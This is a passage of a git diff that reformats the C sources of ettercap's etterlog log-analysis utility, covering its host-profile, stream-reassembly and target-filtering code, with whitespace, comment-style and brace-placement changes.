not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -47,7 +47,7 @@ void *get_host_list_ptr(void) return &hosts_list_head; } -/* +/* * creates or updates the host list * return the number of hosts added (1 if added, 0 if updated) */ @@ -58,8 +58,7 @@ int profile_add_info(struct log_header_info *inf, struct dissector_info *buf) struct host_profile *c; struct host_profile *last = NULL; - - /* + /* * do not store profiles for hosts with ip == 0.0.0.0 * they are hosts requesting for a dhcp/bootp reply. * they will get an ip address soon and we are interested @@ -67,9 +66,9 @@ int profile_add_info(struct log_header_info *inf, struct dissector_info *buf) */ if (ip_addr_is_zero(&inf->L3_addr)) return 0; - - /* - * if the type is FP_HOST_NONLOCAL + + /* + * if the type is FP_HOST_NONLOCAL * search for the GW and mark it */ if (inf->type & FP_HOST_NONLOCAL) { @@ -82,11 +81,12 @@ int profile_add_info(struct log_header_info *inf, struct dissector_info *buf) TAILQ_FOREACH(h, &hosts_list_head, next) { /* an host is identified by the mac and the ip address */ /* if the mac address is null also update it since it could - * be captured as a DHCP packet specifying the GW + * be captured as a DHCP packet specifying the GW */ if ((!memcmp(h->L2_addr, inf->L2_addr, MEDIA_ADDR_LEN) || - !memcmp(inf->L2_addr, "\x00\x00\x00\x00\x00\x00", MEDIA_ADDR_LEN) ) && - !ip_addr_cmp(&h->L3_addr, &inf->L3_addr) ) { + !memcmp(inf->L2_addr, "\x00\x00\x00\x00\x00\x00", MEDIA_ADDR_LEN)) && + !ip_addr_cmp(&h->L3_addr, &inf->L3_addr)) + { update_info(h, inf, buf); /* the host was already in the list @@ -94,45 +94,45 @@ int profile_add_info(struct log_header_info *inf, struct dissector_info *buf) return 0; } } - + /* the host was not found, create a new entry */ SAFE_CALLOC(h, 1, sizeof(struct host_profile)); - + /* update the host info */ update_info(h, inf, buf); - + /* search the right point to inser it (ordered ascending) */ TAILQ_FOREACH(c, &hosts_list_head, next) { - if ( ip_addr_cmp(&c->L3_addr, &h->L3_addr) > 0 ) + if (ip_addr_cmp(&c->L3_addr, &h->L3_addr) > 0) break; last = c; } - - if (TAILQ_FIRST(&hosts_list_head) == NULL) + + if (TAILQ_FIRST(&hosts_list_head) == NULL) TAILQ_INSERT_HEAD(&hosts_list_head, h, next); - else if (c != NULL) + else if (c != NULL) TAILQ_INSERT_BEFORE(c, h, next); - else + else TAILQ_INSERT_AFTER(&hosts_list_head, last, h, next); - return 1; + return 1; } /* set the info in a host profile */ static void update_info(struct host_profile *h, struct log_header_info *inf, struct dissector_info *buf) { - /* update the type only if not previously saved */ + /* update the type only if not previously saved */ if (h->type == 0) h->type = inf->type; - - /* update the mac address only if local or unknown + + /* update the mac address only if local or unknown * and only if it is not null */ if (h->type & FP_HOST_LOCAL || h->type == FP_UNKNOWN) if (memcmp(inf->L2_addr, "\x00\x00\x00\x00\x00\x00", MEDIA_ADDR_LEN)) memcpy(h->L2_addr, inf->L2_addr, MEDIA_ADDR_LEN); - + /* the ip address */ memcpy(&h->L3_addr, &inf->L3_addr, sizeof(struct ip_addr)); @@ -142,23 +142,22 @@ static void update_info(struct host_profile *h, struct log_header_info *inf, str /* copy the hostname */ strncpy(h->hostname, inf->hostname, MAX_HOSTNAME_LEN); - - /* + + /* * update the fingerprint only if there isn't a previous one * or if the previous fingerprint was an ACK * fingerprint. SYN fingers are more reliable */ if (inf->fingerprint[FINGER_TCPFLAG] != '\0' && - (h->fingerprint[FINGER_TCPFLAG] == '\0' || - h->fingerprint[FINGER_TCPFLAG] == 'A') ) + (h->fingerprint[FINGER_TCPFLAG] == '\0' || + h->fingerprint[FINGER_TCPFLAG] == 'A')) memcpy(h->fingerprint, inf->fingerprint, FINGER_LEN); /* add the open port */ update_port_list(h, inf, buf); } - -/* +/* * search the host with this L2_addr * and mark it as the GW */ @@ -170,20 +169,20 @@ static void set_gateway(u_char *L2_addr) /* skip null mac addresses */ if (!memcmp(L2_addr, "\x00\x00\x00\x00\x00\x00", MEDIA_ADDR_LEN)) return; - + TAILQ_FOREACH(h, &hosts_list_head, next) { - if (!memcmp(h->L2_addr, L2_addr, MEDIA_ADDR_LEN) ) { - h->type |= FP_GATEWAY; + if (!memcmp(h->L2_addr, L2_addr, MEDIA_ADDR_LEN)) { + h->type |= FP_GATEWAY; return; } } } -/* +/* * update the list of open ports * and add the user and pass infos */ - + static void update_port_list(struct host_profile *h, struct log_header_info *inf, struct dissector_info *buf) { struct open_port *o; @@ -201,39 +200,37 @@ static void update_port_list(struct host_profile *h, struct log_header_info *inf return; } } - + /* skip this port, the packet was logged for * another reason, not the open port */ if (inf->L4_addr == 0) return; /* create a new entry */ - SAFE_CALLOC(o, 1, sizeof(struct open_port)); + SAFE_CALLOC(o, 1, sizeof(struct open_port)); o->L4_proto = inf->L4_proto; o->L4_addr = inf->L4_addr; - + /* add user and pass */ update_user_list(o, inf, buf); /* search the right point to inser it (ordered ascending) */ LIST_FOREACH(p, &(h->open_ports_head), next) { - if ( ntohs(p->L4_addr) > ntohs(o->L4_addr) ) + if (ntohs(p->L4_addr) > ntohs(o->L4_addr)) break; last = p; } /* insert in the right position */ - if (LIST_FIRST(&(h->open_ports_head)) == NULL) + if (LIST_FIRST(&(h->open_ports_head)) == NULL) LIST_INSERT_HEAD(&(h->open_ports_head), o, next); - else if (p != NULL) + else if (p != NULL) LIST_INSERT_BEFORE(p, o, next); - else + else LIST_INSERT_AFTER(last, o, next); - } - static void update_user_list(struct open_port *o, struct log_header_info *inf, struct dissector_info *buf) { struct active_user *u; @@ -243,16 +240,17 @@ static void update_user_list(struct open_port *o, struct log_header_info *inf, s /* no info to update */ if (buf->user == NULL || buf->pass == NULL) return; - + /* search for an existing user and pass */ LIST_FOREACH(u, &(o->users_list_head), next) { - if (!strcmp(u->user, buf->user) && + if (!strcmp(u->user, buf->user) && !strcmp(u->pass, buf->pass) && - !ip_addr_cmp(&u->client, &inf->client) ) { + !ip_addr_cmp(&u->client, &inf->client)) + { return; } } - + SAFE_CALLOC(u, 1, sizeof(struct active_user)); /* if there are infos copy it, else skip */ @@ -265,30 +263,26 @@ static void update_user_list(struct open_port *o, struct log_header_info *inf, s SAFE_FREE(u); return; } - + if (buf->info) u->info = strdup(buf->info); - + /* search the right point to inser it (ordered alphabetically) */ LIST_FOREACH(a, &(o->users_list_head), next) { - if ( strcmp(a->user, u->user) > 0 ) + if (strcmp(a->user, u->user) > 0) break; last = a; } - + /* insert in the right position */ - if (LIST_FIRST(&(o->users_list_head)) == NULL) + if (LIST_FIRST(&(o->users_list_head)) == NULL) LIST_INSERT_HEAD(&(o->users_list_head), u, next); - else if (a != NULL) + else if (a != NULL) LIST_INSERT_BEFORE(a, u, next); - else + else LIST_INSERT_AFTER(last, u, next); - } - - /* EOF */ // vim:ts=3:expandtab - diff --git a/utils/etterlog/el_stream.c b/utils/etterlog/el_stream.c index 2f5ec7463..b736c4139 100644 --- a/utils/etterlog/el_stream.c +++ b/utils/etterlog/el_stream.c @@ -1,24 +1,23 @@ /* - etterlog -- create, search and manipulate streams - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * etterlog -- create, search and manipulate streams + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -54,16 +53,16 @@ int stream_add(struct stream_object *so, struct log_header_packet *pck, char *bu /* create the packet object */ memcpy(&pl->po.L3.src, &pck->L3_src, sizeof(struct ip_addr)); memcpy(&pl->po.L3.dst, &pck->L3_dst, sizeof(struct ip_addr)); - + pl->po.L4.src = pck->L4_src; pl->po.L4.dst = pck->L4_dst; pl->po.L4.proto = pck->L4_proto; - + SAFE_CALLOC(pl->po.DATA.data, pck->len, sizeof(char)); - + memcpy(pl->po.DATA.data, buf, pck->len); pl->po.DATA.len = pck->len; - + /* set the stream direction */ /* this is the first packet in the stream */ @@ -72,27 +71,26 @@ int stream_add(struct stream_object *so, struct log_header_packet *pck, char *bu /* init the pointer to the first packet */ so->side1.so_curr = pl; so->side2.so_curr = pl; - /* check the previous one and set it accordingly */ + /* check the previous one and set it accordingly */ } else { tmp = TAILQ_LAST(&so->so_head, so_list_head); if (!ip_addr_cmp(&tmp->po.L3.src, &pl->po.L3.src)) /* same direction */ pl->side = tmp->side; - else + else /* change detected */ pl->side = (tmp->side == STREAM_SIDE1) ? STREAM_SIDE2 : STREAM_SIDE1; } - + /* add to the queue */ TAILQ_INSERT_TAIL(&so->so_head, pl, next); return pck->len; } - /* * read data from the stream - * mode can be: + * mode can be: * STREAM_SIDE1 reads only from the first side (usually client to server) * STREAM_SIDE2 reads only from the other side */ @@ -100,22 +98,22 @@ int stream_read(struct stream_object *so, u_char *buf, size_t size, int mode) { size_t buf_off = 0; size_t tmp_size = 0; - + struct so_list *so_curr = NULL; size_t po_off = 0; /* get the values into temp variable */ switch (mode) { - case STREAM_SIDE1: - so_curr = so->side1.so_curr; - po_off = so->side1.po_off; - break; - case STREAM_SIDE2: - so_curr = so->side2.so_curr; - po_off = so->side2.po_off; - break; + case STREAM_SIDE1: + so_curr = so->side1.so_curr; + po_off = so->side1.po_off; + break; + case STREAM_SIDE2: + so_curr = so->side2.so_curr; + po_off = so->side2.po_off; + break; } - + /* search the first packet matching the selected mode */ while (so_curr->side != mode) { so_curr = TAILQ_NEXT(so_curr, next); @@ -132,7 +130,7 @@ int stream_read(struct stream_object *so, u_char *buf, size_t size, int mode) /* fill the buffer */ memcpy(buf + buf_off, so_curr->po.DATA.data + po_off, tmp_size); - + /* the offset is the portion of the data copied into the buffer */ po_off += tmp_size; @@ -141,7 +139,7 @@ int stream_read(struct stream_object *so, u_char *buf, size_t size, int mode) /* decrement the total size to be copied */ size -= tmp_size; - + /* we have reached the end of the packet, go to the next one */ if (po_off == so_curr->po.DATA.len) { /* search the next packet matching the selected mode */ @@ -151,27 +149,26 @@ int stream_read(struct stream_object *so, u_char *buf, size_t size, int mode) so_curr = TAILQ_NEXT(so_curr, next); else goto read_end; - } while (so_curr->side != mode); /* reset the offset for the packet */ po_off = 0; } } - -read_end: + +read_end: /* restore the value in the real stream object */ switch (mode) { - case STREAM_SIDE1: - so->side1.so_curr = so_curr; - so->side1.po_off = po_off; - break; - case STREAM_SIDE2: - so->side2.so_curr = so_curr; - so->side2.po_off = po_off; - break; + case STREAM_SIDE1: + so->side1.so_curr = so_curr; + so->side1.po_off = po_off; + break; + case STREAM_SIDE2: + so->side2.so_curr = so_curr; + so->side2.po_off = po_off; + break; } - + /* return the total byte read */ return buf_off; } @@ -183,27 +180,27 @@ int stream_move(struct stream_object *so, size_t offset, int whence, int mode) { size_t tmp_size = 0; size_t move = 0; - + struct so_list *so_curr = NULL; size_t po_off = 0; /* get the values into temp variable */ switch (mode) { - case STREAM_SIDE1: - so_curr = so->side1.so_curr; - po_off = so->side1.po_off; - break; - case STREAM_SIDE2: - so_curr = so->side2.so_curr; - po_off = so->side2.po_off; - break; + case STREAM_SIDE1: + so_curr = so->side1.so_curr; + po_off = so->side1.po_off; + break; + case STREAM_SIDE2: + so_curr = so->side2.so_curr; + po_off = so->side2.po_off; + break; } /* no movement */ if (offset == 0) return 0; - - /* + + /* * the offest is calculated from the beginning, * so move to the first packet */ @@ -244,77 +241,74 @@ int stream_move(struct stream_object *so, size_t offset, int whence, int mode) so_curr = TAILQ_NEXT(so_curr, next); else goto move_end; - } while (so_curr->side != mode); /* reset the offset for the packet */ po_off = 0; } } - + move_end: /* restore the value in the real stream object */ switch (mode) { - case STREAM_SIDE1: - so->side1.so_curr = so_curr; - so->side1.po_off = po_off; - break; - case STREAM_SIDE2: - so->side2.so_curr = so_curr; - so->side2.po_off = po_off; - break; + case STREAM_SIDE1: + so->side1.so_curr = so_curr; + so->side1.po_off = po_off; + break; + case STREAM_SIDE2: + so->side2.so_curr = so_curr; + so->side2.po_off = po_off; + break; } - + return move; } - /* - * search a pattern into the stream + * search a pattern into the stream * returns - NULL if not found * - the packet containing the string if found */ -struct so_list * stream_search(struct stream_object *so, const char *buf, size_t buflen, int mode) +struct so_list *stream_search(struct stream_object *so, const char *buf, size_t buflen, int mode) { u_char *tmpbuf = NULL, *find; size_t offset = 0, len = 0; struct so_list *so_curr = NULL, *first; size_t po_off = 0; - + /* get the values into temp variable */ switch (mode) { - case STREAM_SIDE1: - so_curr = so->side1.so_curr; - po_off = so->side1.po_off; - break; - case STREAM_SIDE2: - so_curr = so->side2.so_curr; - po_off = so->side2.po_off; - break; + case STREAM_SIDE1: + so_curr = so->side1.so_curr; + po_off = so->side1.po_off; + break; + case STREAM_SIDE2: + so_curr = so->side2.so_curr; + po_off = so->side2.po_off; + break; } first = so_curr; - - /* create the buffer from the current position to the end */ - for ( ; so_curr != TAILQ_END(so->so_head); so_curr = TAILQ_NEXT(so_curr, next)) { - + + /* create the buffer from the current position to the end */ + for (; so_curr != TAILQ_END(so->so_head); so_curr = TAILQ_NEXT(so_curr, next)) { + /* skip packet in the wrong side */ if (so_curr->side != mode) { po_off = 0; continue; } - + if (so_curr == first) len += so_curr->po.DATA.len - po_off; else len += so_curr->po.DATA.len; - - + SAFE_REALLOC(tmpbuf, len); - - /* - * add the packet to the end of the buffer - * containing the whole conversation + + /* + * add the packet to the end of the buffer + * containing the whole conversation */ if (so_curr == first) memcpy(tmpbuf, so_curr->po.DATA.data + po_off, so_curr->po.DATA.len - po_off); @@ -325,28 +319,25 @@ struct so_list * stream_search(struct stream_object *so, const char *buf, size_t /* the buffer is found in the conversation */ if ((find = memmem(tmpbuf, len, buf, buflen)) != NULL) { offset = find - tmpbuf; - + SAFE_FREE(tmpbuf); /* move the stream pointers to the buffer found */ stream_move(so, offset, SEEK_CUR, mode); switch (mode) { - case STREAM_SIDE1: - return so->side1.so_curr; - case STREAM_SIDE2: - return so->side2.so_curr; + case STREAM_SIDE1: + return so->side1.so_curr; + case STREAM_SIDE2: + return so->side2.so_curr; } - } + } SAFE_FREE(tmpbuf); - + return NULL; } - /* EOF */ - // vim:ts=3:expandtab - diff --git a/utils/etterlog/el_target.c b/utils/etterlog/el_target.c index 40369cac3..d315ac6b3 100644 --- a/utils/etterlog/el_target.c +++ b/utils/etterlog/el_target.c @@ -1,23 +1,23 @@ /* - etterlog -- target filtering module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * etterlog -- target filtering module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -37,12 +37,13 @@ static int expand_ipv6(char *str, struct target_env *target) { struct ip_addr ip; - if(ip_addr_pton(str, &ip) != E_SUCCESS) + if (ip_addr_pton(str, &ip) != E_SUCCESS) ui_error("Invalid IPv6 address"); add_ip_list(&ip, target); return E_SUCCESS; } + #endif /* @@ -68,7 +69,7 @@ int compile_target(char *string, struct target_env *target) char *p; int i = 0; -// DEBUG_MSG("compile_target TARGET: %s", string); +// DEBUG_MSG("compile_target TARGET: %s", string); /* reset the special marker */ target->all_mac = 0; @@ -93,12 +94,12 @@ int compile_target(char *string, struct target_env *target) FATAL_ERROR("Incorrect number of token (//) in TARGET !!"); #endif -// DEBUG_MSG("MAC : [%s]", tok[MAC_TOK]); -// DEBUG_MSG("IP : [%s]", tok[IP_TOK]); -//#ifdef WITH_IPV6 -// DEBUG_MSG("IPv6 : [%s]", tok[IPV6_TOK]); -//#endif -// DEBUG_MSG("PORT : [%s]", tok[PORT_TOK]); +// DEBUG_MSG("MAC : [%s]", tok[MAC_TOK]); +// DEBUG_MSG("IP : [%s]", tok[IP_TOK]); +// #ifdef WITH_IPV6 +// DEBUG_MSG("IPv6 : [%s]", tok[IPV6_TOK]); +// #endif +// DEBUG_MSG("PORT : [%s]", tok[PORT_TOK]); /* set the mac address */ if (!strcmp(tok[MAC_TOK], "")) @@ -110,18 +111,18 @@ int compile_target(char *string, struct target_env *target) if (!strcmp(tok[IP_TOK], "")) target->all_ip = 1; else - for(p = strsep(&tok[IP_TOK], ";"); p != NULL; p = strsep(&tok[IP_TOK], ";")) - expand_range_ip(p, target); + for (p = strsep(&tok[IP_TOK], ";"); p != NULL; p = strsep(&tok[IP_TOK], ";")) + expand_range_ip(p, target); -#ifdef WITH_IPV6 - if(!strcmp(tok[IPV6_TOK], "")) +#ifdef WITH_IPV6 + if (!strcmp(tok[IPV6_TOK], "")) target->all_ip6 = 1; else - for(p = strsep(&tok[IPV6_TOK], ";"); p != NULL; p = strsep(&tok[IPV6_TOK], ";")) + for (p = strsep(&tok[IPV6_TOK], ";"); p != NULL; p = strsep(&tok[IPV6_TOK], ";")) expand_ipv6(p, target); #endif - /* + /* * if only one of IP address families is specified, * the other is not automatically treated as ANY * because that is not the natural behaviour of a filter @@ -132,31 +133,31 @@ int compile_target(char *string, struct target_env *target) target->all_ip6 = 0; } - /* + /* * expand the range into the port bitmap array - * 1<<16 is MAX_PORTS + * 1<<16 is MAX_PORTS */ if (!strcmp(tok[PORT_TOK], "")) target->all_port = 1; else { - if (expand_token(tok[PORT_TOK], 1<<16, &add_port, target->ports) == -E_FATAL) + if (expand_token(tok[PORT_TOK], 1 << 16, &add_port, target->ports) == -E_FATAL) FATAL_ERROR("Invalid port range"); } - for(i = 0; i < MAX_TOK; i++) + for (i = 0; i < MAX_TOK; i++) SAFE_FREE(tok[i]); return E_SUCCESS; } /* - * set the bit of the relative port + * set the bit of the relative port */ static void add_port(void *ports, u_int n) { u_int8 *bitmap = ports; - if (n > 1<<16) + if (n > 1 << 16) FATAL_ERROR("Port outside the range (65535) !!"); BIT_SET(bitmap, n); @@ -167,7 +168,7 @@ static void add_port(void *ports, u_int n) * value of a token. * it is used as a digital clock. * an impulse is made to the last digit and it increment - * its value, when it reach the maximum, it reset itself + * its value, when it reach the maximum, it reset itself * and gives an impulse to the second to last digit. * the impulse is propagated till the first digit so all * the values are displayed as in a daytime from 00:00 to 23:59 @@ -179,7 +180,7 @@ struct digit { u_char values[0xff]; }; -/* +/* * prepare the set of 4 digit to create an IP address */ @@ -200,7 +201,7 @@ static int expand_range_ip(char *str, void *target) p = str; /* tokenize the ip into 4 slices */ - while ((q = ec_strtok(p, ".", &tok)) ) { + while ((q = ec_strtok(p, ".", &tok))) { addr[i++] = strdup(q); /* reset p for the next strtok */ if (p != NULL) p = NULL; @@ -225,15 +226,15 @@ static int expand_range_ip(char *str, void *target) /* give the impulses to the last digit */ for (i = 0; i < permut; i++) { - snprintf(parsed_ip, 16, "%d.%d.%d.%d", ADDR[0].values[ADDR[0].cur], - ADDR[1].values[ADDR[1].cur], - ADDR[2].values[ADDR[2].cur], - ADDR[3].values[ADDR[3].cur]); + snprintf(parsed_ip, 16, "%d.%d.%d.%d", ADDR[0].values[ADDR[0].cur], + ADDR[1].values[ADDR[1].cur], + ADDR[2].values[ADDR[2].cur], + ADDR[3].values[ADDR[3].cur]); if (inet_pton(AF_INET, parsed_ip, &ipaddr) == 0) FATAL_ERROR("Invalid IP address (%s)", parsed_ip); - ip_addr_init(&tmp, AF_INET,(u_char *)&ipaddr ); + ip_addr_init(&tmp, AF_INET, (u_char *)&ipaddr); add_ip_list(&tmp, target); /* give the impulse to the last octet */ @@ -241,9 +242,9 @@ static int expand_range_ip(char *str, void *target) /* adjust the other digits as in a digital clock */ for (j = 2; j >= 0; j--) { - if ( ADDR[j+1].cur >= ADDR[j+1].n ) { + if (ADDR[j + 1].cur >= ADDR[j + 1].n) { ADDR[j].cur++; - ADDR[j+1].cur = 0; + ADDR[j + 1].cur = 0; } } } @@ -260,7 +261,7 @@ static void add_ip(void *digit, u_int n) struct digit *buf = digit; buf->n++; - buf->values[buf->n - 1] = (u_char) n; + buf->values[buf->n - 1] = (u_char)n; } /* @@ -272,28 +273,28 @@ int is_target_pck(struct log_header_packet *pck) int proto = 0; int good = 0; int all_ips = 0; - - /* + + /* * first check the protocol. - * if it is not the one specified it is + * if it is not the one specified it is * useless to parse the mac, ip and port */ - if (!GBL_TARGET->proto || !strcmp(GBL_TARGET->proto, "") || !strcasecmp(GBL_TARGET->proto, "all")) - proto = 1; - - if (GBL_TARGET->proto && !strcasecmp(GBL_TARGET->proto, "tcp") - && pck->L4_proto == NL_TYPE_TCP) - proto = 1; - - if (GBL_TARGET->proto && !strcasecmp(GBL_TARGET->proto, "udp") - && pck->L4_proto == NL_TYPE_UDP) - proto = 1; - - /* the protocol does not match */ - if (!GBL_OPTIONS->reverse && proto == 0) - return 0; - + if (!GBL_TARGET->proto || !strcmp(GBL_TARGET->proto, "") || !strcasecmp(GBL_TARGET->proto, "all")) + proto = 1; + + if (GBL_TARGET->proto && !strcasecmp(GBL_TARGET->proto, "tcp") + && pck->L4_proto == NL_TYPE_TCP) + proto = 1; + + if (GBL_TARGET->proto && !strcasecmp(GBL_TARGET->proto, "udp") + && pck->L4_proto == NL_TYPE_UDP) + proto = 1; + + /* the protocol does not match */ + if (!GBL_OPTIONS->reverse && proto == 0) + return 0; + /* * we have to check if the packet is complying with the filter * specified by the users. @@ -301,33 +302,32 @@ int is_target_pck(struct log_header_packet *pck) /* determine the address family of the current host */ switch (ntohs(pck->L3_src.addr_type)) { - case AF_INET: - all_ips = GBL_TARGET->all_ip; - break; - case AF_INET6: - all_ips = GBL_TARGET->all_ip6; - break; - default: - all_ips = 1; + case AF_INET: + all_ips = GBL_TARGET->all_ip; + break; + case AF_INET6: + all_ips = GBL_TARGET->all_ip6; + break; + default: + all_ips = 1; } - + /* it is in the source */ - if ( (GBL_TARGET->all_mac || !memcmp(GBL_TARGET->mac, pck->L2_src, MEDIA_ADDR_LEN)) && - ( all_ips || cmp_ip_list(&pck->L3_src, GBL_TARGET) ) && - (GBL_TARGET->all_port || BIT_TEST(GBL_TARGET->ports, ntohs(pck->L4_src))) ) + if ((GBL_TARGET->all_mac || !memcmp(GBL_TARGET->mac, pck->L2_src, MEDIA_ADDR_LEN)) && + (all_ips || cmp_ip_list(&pck->L3_src, GBL_TARGET)) && + (GBL_TARGET->all_port || BIT_TEST(GBL_TARGET->ports, ntohs(pck->L4_src)))) good = 1; /* it is in the dest - we can assume the address family is the same as in src */ - if ( (GBL_TARGET->all_mac || !memcmp(GBL_TARGET->mac, pck->L2_dst, MEDIA_ADDR_LEN)) && - ( all_ips || cmp_ip_list(&pck->L3_dst, GBL_TARGET)) && - (GBL_TARGET->all_port || BIT_TEST(GBL_TARGET->ports, ntohs(pck->L4_dst))) ) - good = 1; - + if ((GBL_TARGET->all_mac || !memcmp(GBL_TARGET->mac, pck->L2_dst, MEDIA_ADDR_LEN)) && + (all_ips || cmp_ip_list(&pck->L3_dst, GBL_TARGET)) && + (GBL_TARGET->all_port || BIT_TEST(GBL_TARGET->ports, ntohs(pck->L4_dst)))) + good = 1; + /* check the reverse option */ - if (GBL_OPTIONS->reverse ^ (good && proto) ) + if (GBL_OPTIONS->reverse ^ (good && proto)) return 1; - - + return 0; } @@ -342,32 +342,32 @@ int is_target_info(struct host_profile *hst) int port = 0; int host = 0; int all_ips = 0; - - /* + + /* * first check the protocol. - * if it is not the one specified it is + * if it is not the one specified it is * useless to parse the mac, ip and port */ - if (!GBL_TARGET->proto || !strcmp(GBL_TARGET->proto, "") || !strcasecmp(GBL_TARGET->proto, "all")) + if (!GBL_TARGET->proto || !strcmp(GBL_TARGET->proto, "") || !strcasecmp(GBL_TARGET->proto, "all")) proto = 1; - + /* all the ports are good */ if (GBL_TARGET->all_port && proto) port = 1; else { LIST_FOREACH(o, &(hst->open_ports_head), next) { - - if (GBL_TARGET->proto && !strcasecmp(GBL_TARGET->proto, "tcp") + + if (GBL_TARGET->proto && !strcasecmp(GBL_TARGET->proto, "tcp") && o->L4_proto == NL_TYPE_TCP) proto = 1; - - if (GBL_TARGET->proto && !strcasecmp(GBL_TARGET->proto, "udp") + + if (GBL_TARGET->proto && !strcasecmp(GBL_TARGET->proto, "udp") && o->L4_proto == NL_TYPE_UDP) proto = 1; /* if the port is open, it matches */ - if (proto && (GBL_TARGET->all_port || BIT_TEST(GBL_TARGET->ports, ntohs(o->L4_addr))) ) { + if (proto && (GBL_TARGET->all_port || BIT_TEST(GBL_TARGET->ports, ntohs(o->L4_addr)))) { port = 1; break; } @@ -378,35 +378,32 @@ int is_target_info(struct host_profile *hst) * we have to check if the packet is complying with the filter * specified by the users. */ - + /* determine the address family of the current host */ switch (ntohs(hst->L3_addr.addr_type)) { - case AF_INET: - all_ips = GBL_TARGET->all_ip; - break; - case AF_INET6: - all_ips = GBL_TARGET->all_ip6; - break; - default: - all_ips = 1; + case AF_INET: + all_ips = GBL_TARGET->all_ip; + break; + case AF_INET6: + all_ips = GBL_TARGET->all_ip6; + break; + default: + all_ips = 1; } /* check if current host matches the filter */ - if ( (GBL_TARGET->all_mac || !memcmp(GBL_TARGET->mac, hst->L2_addr, MEDIA_ADDR_LEN)) && - (all_ips || cmp_ip_list(&hst->L3_addr, GBL_TARGET) ) ) + if ((GBL_TARGET->all_mac || !memcmp(GBL_TARGET->mac, hst->L2_addr, MEDIA_ADDR_LEN)) && + (all_ips || cmp_ip_list(&hst->L3_addr, GBL_TARGET))) host = 1; - /* check the reverse option */ - if (GBL_OPTIONS->reverse ^ (host && port) ) + if (GBL_OPTIONS->reverse ^ (host && port)) return 1; else return 0; - } - -/* +/* * return E_SUCCESS if the user 'user' is in the user list */ @@ -414,24 +411,20 @@ int find_user(struct host_profile *hst, char *user) { struct open_port *o; struct active_user *u; - + if (user == NULL) return E_SUCCESS; - + LIST_FOREACH(o, &(hst->open_ports_head), next) { LIST_FOREACH(u, &(o->users_list_head), next) { if (strcasestr(u->user, user)) return E_SUCCESS; } } - + return -E_NOTFOUND; } - - - /* EOF */ // vim:ts=3:expandtab -